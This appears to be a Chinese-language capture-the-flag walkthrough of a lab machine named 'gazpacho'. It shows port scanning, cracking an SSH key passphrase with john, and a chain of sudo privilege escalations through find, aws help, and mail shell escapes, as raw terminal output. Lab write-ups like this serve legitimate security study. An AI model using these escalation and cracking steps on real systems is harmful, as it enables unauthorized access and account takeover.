❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e3:f6:57 VMware, Inc. 192.168.60.150 08:00:27:a0:99:3b PCS Systemtechnik GmbH 192.168.60.254 00:50:56:f0:df:73 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.049 seconds (124.94 hosts/sec). 4 responded ❯ export ip=192.168.60.150 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- To scan or not to scan? That is the question. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.150:22 Open 192.168.60.150:80 Open 192.168.60.150:8080 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 21:02 CST Initiating ARP Ping Scan at 21:02 Scanning 192.168.60.150 [1 port] Completed ARP Ping Scan at 21:02, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:02 Completed Parallel DNS resolution of 1 host. at 21:02, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 21:02 Scanning 192.168.60.150 [3 ports] Discovered open port 22/tcp on 192.168.60.150 Discovered open port 80/tcp on 192.168.60.150 Discovered open port 8080/tcp on 192.168.60.150 Completed SYN Stealth Scan at 21:02, 0.04s elapsed (3 total ports) Nmap scan report for 192.168.60.150 Host is up, received arp-response (0.00093s latency). Scanned at 2025-01-14 21:02:33 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 8080/tcp open http-proxy syn-ack ttl 64 MAC Address: 08:00:27:A0:99:3B (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
(remote) jenkins@gazpacho:/home/pepino$ sudo -l Matching Defaults entries for jenkins on gazpacho: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User jenkins may run the following commands on gazpacho: (ajo) NOPASSWD: /usr/bin/find (remote) jenkins@gazpacho:/home/pepino$ sudo -u ajo /usr/bin/find . -exec /bin/sh \; -quit \[\](remote)\[\] \[\]ajo@gazpacho\[\]:\[\]/home/pepino\[\]$ id uid=1004(ajo) gid=1004(ajo) grupos=1004(ajo)
用户ajo也有sudo权限，搁着套娃呢？
1 2 3 4 5 6 7
(remote) ajo@gazpacho:/home/ajo$ sudo -l Matching Defaults entries for ajo on gazpacho: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User ajo may run the following commands on gazpacho: (cebolla) NOPASSWD: /usr/bin/aws
噢，从sh换到bash之后PS1就恢复2正常了
1 2 3 4 5 6 7 8 9 10 11
(remote) ajo@gazpacho:/home/ajo$ sudo -u cebolla /usr/bin/aws help ##这里的help是调用less，所以就需要把窗口缩小，然后输入!/bin/sh cebolla@gazpacho:/home/ajo$ id uid=1002(cebolla) gid=1002(cebolla) grupos=1002(cebolla) cebolla@gazpacho:~$ sudo -l Matching Defaults entries for cebolla on gazpacho: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User cebolla may run the following commands on gazpacho: (pimiento) NOPASSWD: /usr/bin/crash
❯ vim id_rsa ❯ ssh2john id_rsa >hash ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status mittens (id_rsa) 1g 0:00:00:58 DONE (2025-01-14 21:46) 0.01718g/s 43.44p/s 43.44c/s 43.44C/s shamrock..canela Use the "--show" option to display all of the cracked passwords reliably Session completed. ❯ ssh pepino@$ip -i id_rsa The authenticity of host '192.168.60.150 (192.168.60.150)' can't be established. ED25519 key fingerprint is SHA256:AQriN/tRYOEaFyAyEecHnEyZfJTHLRILd1G2j74ViR8. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.150' (ED25519) to the list of known hosts. Enter passphrase for key 'id_rsa': Linux gazpacho 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have mail. Last login: Mon Apr 29 18:48:07 2024 from 192.168.0.108 pepino@gazpacho:~$ sudo -l Matching Defaults entries for pepino on gazpacho: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User pepino may run the following commands on gazpacho: (tomate) NOPASSWD: /usr/bin/mail
还套娃呢，结果user还不能读，还要套
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
pepino@gazpacho:~$ sudo -u tomate /usr/bin/mail --exec='!/bin/bash' tomate@gazpacho:/home/pepino$ id uid=1003(tomate) gid=1003(tomate) grupos=1003(tomate) tomate@gazpacho:/home/pepino$ cd ~ tomate@gazpacho:~$ ls user.txt tomate@gazpacho:~$ cat user.txt cat: user.txt: Permiso denegado tomate@gazpacho:~$ sudo -l Matching Defaults entries for tomate on gazpacho: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User tomate may run the following commands on gazpacho: (root) NOPASSWD: /usr/bin/bettercap
